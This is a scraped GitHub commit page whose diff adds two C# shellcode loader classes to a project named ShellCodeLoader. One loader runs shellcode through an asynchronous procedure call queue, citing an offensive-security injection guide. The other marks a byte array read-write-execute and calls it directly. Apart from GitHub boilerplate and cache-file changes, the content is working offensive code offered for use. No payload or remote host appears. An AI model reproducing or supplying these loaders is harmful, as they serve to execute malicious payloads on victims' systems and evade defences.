-
Notifications
You must be signed in to change notification settings - Fork 16
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
* Added QueueAPC locally * Added Minimal ShellCodeLoader * Code improvements
- Loading branch information
Showing
24 changed files
with
332 additions
and
25 deletions.
There are no files selected for viewing
Binary file modified
BIN
-11 Bytes
(100%)
PayloadCSharp/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,133 @@ | ||
using Microsoft.Win32.SafeHandles; | ||
using System; | ||
using System.Diagnostics; | ||
using System.Runtime.InteropServices; | ||
using System.Threading; | ||
using static ShellCodeLoader.Shared; | ||
/* | ||
|| AUTHOR Arsium || | ||
|| github : https://github.com/arsium || | ||
|| Please let this credit for all the time I worked on || | ||
|| Guide & Inspirations : https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection | ||
*/ | ||
namespace ShellCodeLoader | ||
{ | ||
public class QueueAPC : IDisposable | ||
{ | ||
|
||
private byte[] ShellCode; | ||
private uint RegionSize; | ||
private Process Target; | ||
private bool NewThread; | ||
|
||
public QueueAPC(byte[] shellCode, bool newThread = false) | ||
{ | ||
this.ShellCode = shellCode; | ||
this.RegionSize = (uint)shellCode.Length; | ||
this.Target = Process.GetCurrentProcess(); | ||
this.NewThread = newThread; | ||
} | ||
private unsafe void CallBackQueueUserAPC(void* param) | ||
{ | ||
IntPtr ptr = Imports.VirtualAllocEx(Target.Handle, IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, Shared.PageProtection.PAGE_EXECUTE_READWRITE); | ||
|
||
UIntPtr writtenBytes; | ||
Imports.WriteProcessMemory(Target.Handle, ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes); | ||
|
||
PageProtection flOld; | ||
Imports.VirtualProtect(ptr, RegionSize, PageProtection.PAGE_EXECUTE_READWRITE, out flOld); | ||
|
||
ShellCodeCaller s = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(ShellCodeCaller)); | ||
s(); | ||
} | ||
|
||
private unsafe void QueueUserAPC() | ||
{ | ||
if (NewThread) | ||
{ | ||
new Thread(() => | ||
{ | ||
//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc | ||
Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader | ||
|
||
Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread | ||
|
||
//Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls | ||
Imports.NtTestAlert(); //empty APC queue for the current thread | ||
|
||
}).Start(); | ||
} | ||
else | ||
{ | ||
//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc | ||
Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader | ||
|
||
Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread | ||
|
||
//Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls | ||
Imports.NtTestAlert(); //empty APC queue for the current thread | ||
} | ||
} | ||
|
||
public void LoadWithQueueAPC() | ||
{ | ||
QueueUserAPC(); | ||
} | ||
|
||
private static class Imports | ||
{ | ||
internal const String KERNEL32 = "kernel32.dll"; | ||
internal const String NTDLL = "ntdll.dll"; | ||
|
||
|
||
public unsafe delegate void CallBack(void* param); | ||
public delegate void ShellCodeCaller(); | ||
|
||
|
||
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] | ||
public static unsafe extern uint QueueUserAPC(CallBack pFunction, IntPtr tHandle, IntPtr dwData); | ||
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] | ||
public static unsafe extern uint SleepEx(uint dwMilliseconds, bool bAlertable); | ||
[DllImport(NTDLL, SetLastError = true)] | ||
public static extern uint NtTestAlert(); | ||
|
||
|
||
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] | ||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten); | ||
|
||
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] | ||
public static extern IntPtr VirtualAllocEx(IntPtr procHandle, IntPtr address, IntPtr numBytes, Shared.TypeAlloc commitOrReserve, Shared.PageProtection pageProtectionMode); | ||
|
||
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] | ||
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Shared.PageProtection flNewProtect, out Shared.PageProtection lpflOldProtect); | ||
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] | ||
public static extern IntPtr GetCurrentThread(); | ||
} | ||
|
||
private bool _disposed = false; | ||
|
||
// Instantiate a SafeHandle instance. | ||
private SafeHandle _safeHandle = new SafeFileHandle(IntPtr.Zero, true); | ||
|
||
// Public implementation of Dispose pattern callable by consumers. | ||
public void Dispose() => Dispose(true); | ||
|
||
// Protected implementation of Dispose pattern. | ||
protected virtual void Dispose(bool disposing) | ||
{ | ||
if (_disposed) | ||
{ | ||
return; | ||
} | ||
|
||
if (disposing) | ||
{ | ||
// Dispose managed state (managed objects). | ||
_safeHandle?.Dispose(); | ||
} | ||
|
||
_disposed = true; | ||
GC.SuppressFinalize(this); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,83 @@ | ||
using Microsoft.Win32.SafeHandles; | ||
using System; | ||
using System.Runtime.InteropServices; | ||
using System.Threading; | ||
using System.Threading.Tasks; | ||
using static ShellCodeLoader.Shared; | ||
|
||
namespace ShellCodeLoader | ||
{ | ||
public class ShellCodeLoaderMinimalNativeAPI : IDisposable | ||
{ | ||
private byte[] ShellCode; | ||
private uint RegionSize; | ||
/// <summary> | ||
/// Default is false. | ||
/// </summary> | ||
public bool Asynchronous { get; set; } | ||
|
||
|
||
public ShellCodeLoaderMinimalNativeAPI(byte[] shellCode) | ||
{ | ||
this.ShellCode = shellCode; | ||
this.RegionSize = (uint)shellCode.Length; | ||
this.Asynchronous = false; | ||
} | ||
|
||
public void LoadWithMinimalAPI() | ||
{ | ||
if (this.Asynchronous) | ||
{ | ||
Task.Factory.StartNew(() => { MinimalAPI(); }, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default); | ||
} | ||
else | ||
{ | ||
MinimalAPI(); | ||
} | ||
} | ||
private unsafe void MinimalAPI() | ||
{ | ||
fixed(void* ptr = &this.ShellCode[0]) | ||
{ | ||
PageProtection flOld; | ||
Imports.VirtualProtect((IntPtr)ptr, RegionSize, Shared.PageProtection.PAGE_EXECUTE_READWRITE, out flOld); | ||
|
||
ShellCodeCaller s = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer((IntPtr)ptr, typeof(ShellCodeCaller)); | ||
s(); | ||
} | ||
} | ||
internal static class Imports | ||
{ | ||
|
||
internal const String KERNEL32 = "kernel32.dll"; | ||
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] | ||
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Shared.PageProtection flNewProtect, out Shared.PageProtection lpflOldProtect); | ||
} | ||
|
||
private bool _disposed = false; | ||
|
||
// Instantiate a SafeHandle instance. | ||
private SafeHandle _safeHandle = new SafeFileHandle(IntPtr.Zero, true); | ||
|
||
// Public implementation of Dispose pattern callable by consumers. | ||
public void Dispose() => Dispose(true); | ||
|
||
// Protected implementation of Dispose pattern. | ||
protected virtual void Dispose(bool disposing) | ||
{ | ||
if (_disposed) | ||
{ | ||
return; | ||
} | ||
|
||
if (disposing) | ||
{ | ||
// Dispose managed state (managed objects). | ||
_safeHandle?.Dispose(); | ||
} | ||
|
||
_disposed = true; | ||
GC.SuppressFinalize(this); | ||
} | ||
} | ||
} |
Binary file modified
BIN
-40 Bytes
(99%)
ShellCodeLoader/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
Binary file not shown.
Binary file modified
BIN
-513 Bytes
(1.2%)
ShellCodeLoader/obj/Release/ShellCodeLoader.csproj.AssemblyReference.cache
Binary file not shown.
2 changes: 1 addition & 1 deletion
2
ShellCodeLoader/obj/Release/ShellCodeLoader.csproj.CoreCompileInputs.cache
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
b025bf862b326d406604d35fe513ad97e74800ce | ||
d13612e3ee84b59d0abdaff95468991f181618fb |
Binary file not shown.
Oops, something went wrong.